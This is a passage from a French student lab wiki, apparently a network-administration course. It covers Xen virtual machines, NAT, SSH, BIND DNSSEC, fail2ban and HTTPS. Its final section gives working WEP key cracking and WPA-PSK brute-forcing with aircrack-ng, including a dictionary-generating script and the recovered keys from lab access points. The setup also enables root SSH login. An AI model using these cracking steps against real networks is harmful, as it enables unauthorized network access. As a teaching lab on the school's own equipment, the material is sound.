        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons &#039;&#039;&#039;créé nos trois machines&#039;&#039;&#039; sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le &#039;&#039;&#039;root password&#039;&#039;&#039; qu&#039;il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp &#039;&#039;&#039;robuste&#039;&#039;&#039; car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de &#039;&#039;&#039;démarrer les machines&#039;&#039;&#039; avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;accéder à la console de la machine virtuelle&#039;&#039;&#039; (pour quitter la console un exit suffit et pour quitter la saisie de connection &#039;&#039;&#039;Ctrl + Shift + 5&#039;&#039;&#039;) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;créer les partitions&#039;&#039;&#039; /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;formater et monter&#039;&#039;&#039; les partitions nous utilisons les commandes suivantes (&#039;&#039;&#039;/!\ pas dans capbreton&#039;&#039;&#039;) :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient &#039;&#039;&#039;montées de façon automatiques&#039;&#039;&#039; au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez &#039;&#039;&#039;redémarrer&#039;&#039;&#039; la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On modifie le fichier &amp;lt;code&amp;gt;/etc/xen/SE4.batman.cfg&amp;lt;/code&amp;gt; sur capbreton&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois cela fait on peut &#039;&#039;&#039;redémarrer&#039;&#039;&#039; la VM avec les commandes précédentes. Ensuite sur batman on doit lancer l&#039;interface :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reboot&lt;br /&gt;
ifdown eth1; ifup eth1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Configuration SSH et Mascarade ==&lt;br /&gt;
Ces commandes permettent de &#039;&#039;&#039;synchroniser l&#039;heure&#039;&#039;&#039; du système :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
La mascarade se configure avec &#039;&#039;&#039;iptables&#039;&#039;&#039;, et consiste à donne une adresse IPv4 qui permet d&#039;accéder à internet. &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans les &#039;&#039;&#039;trois VMs&#039;&#039;&#039; on modifie &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; en ajoutant :&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
On peut ensuite &#039;&#039;&#039;redémarrer&#039;&#039;&#039; le service ssh :&lt;br /&gt;
 /etc/init.d/ssh restart&lt;br /&gt;
La &#039;&#039;&#039;redirection du port ssh&#039;&#039;&#039; ce fait via les commandes suivantes sur la machine mandataire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans le fichier &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; la ligne suivante doit être &#039;&#039;&#039;décommentée&#039;&#039;&#039; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour éviter de perdre la configuration à chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Désormais le ssh peut être fait via les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ssh en IPV4&lt;br /&gt;
ssh root@&amp;lt;add_ipv4&amp;gt; -p 2202&lt;br /&gt;
# ssh en IPV6&lt;br /&gt;
ssh root@&amp;lt;add_ipv6&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Effraction WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&#039;&#039;&#039;/!\&#039;&#039;&#039; Dans notre cas la carte réseau de notre zabeth ne fonctionnait plus (ce cas est courant).&lt;br /&gt;
&lt;br /&gt;
Mr Redon nous a donc fournit une &#039;&#039;&#039;clé USB Wifi&#039;&#039;&#039; pour pouvoir travailler. &lt;br /&gt;
&lt;br /&gt;
De plus les cracotte s&#039;arrête au 13 donc je dois prendre la &#039;&#039;&#039;cracotte02&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d&#039;&#039;&#039;&#039;identifier l&#039;interface WIFI&#039;&#039;&#039; qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l&#039;interface qui nous intéresse est wlx40a5efd21410. Donc nous pouvons lancer la commande suivante afin d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;identifier l&#039;adresse IP de notre cracotte02&#039;&#039;&#039;.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte02 sur le channel 4 et l&#039;adresse ip suivante :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:51  -62      231        0    0   4   54e. WEP  WEP         cracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons &#039;&#039;&#039;lancer le cassage&#039;&#039;&#039; de la clé avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le nombre de la section DATA doit augmenter asser vite (sinon il y a un problème) :&lt;br /&gt;
&lt;br /&gt;
Après un certain temps on peut entrer la commande suivante pour &#039;&#039;&#039;voir si la clé à été trouvée&#039;&#039;&#039; (le numéro, ici 5, dépend du nombre de fois ou la commande précédente a été lancé) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un &#039;&#039;&#039;KEY FOUND&#039;&#039;&#039; !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute ===&lt;br /&gt;
On s&#039;intéresse maintenant à la &#039;&#039;&#039;kracotte02&#039;&#039;&#039; (information trouvable par la commande de la section précédente) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un &#039;&#039;&#039;fichier Python&#039;&#039;&#039; un dictionnaire contenant &#039;&#039;&#039;toutes les possibilités sur 8 chiffres&#039;&#039;&#039;. Le contenu de ce fichier est le suivant :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Lancer ce programme afin de créer le fichier dictionnaire_8_chiffres.txt.&lt;br /&gt;
&lt;br /&gt;
La commande suivante est nécessaire pour que aircrack-ng utilise notre dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous pouvons enfin &#039;&#039;&#039;lancer le cassage du mot de passe&#039;&#039;&#039; par force brute via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;La commande ci-dessous permet de &#039;&#039;&#039;savoir si le mot de passe à été trouvé&#039;&#039;&#039; (/!\ cela peut prendre du temps selon la valeur de la clé, dans notre cas plus de 30min) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons le bon résultat un nouveau &#039;&#039;&#039;KEY FOUND&#039;&#039;&#039; !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
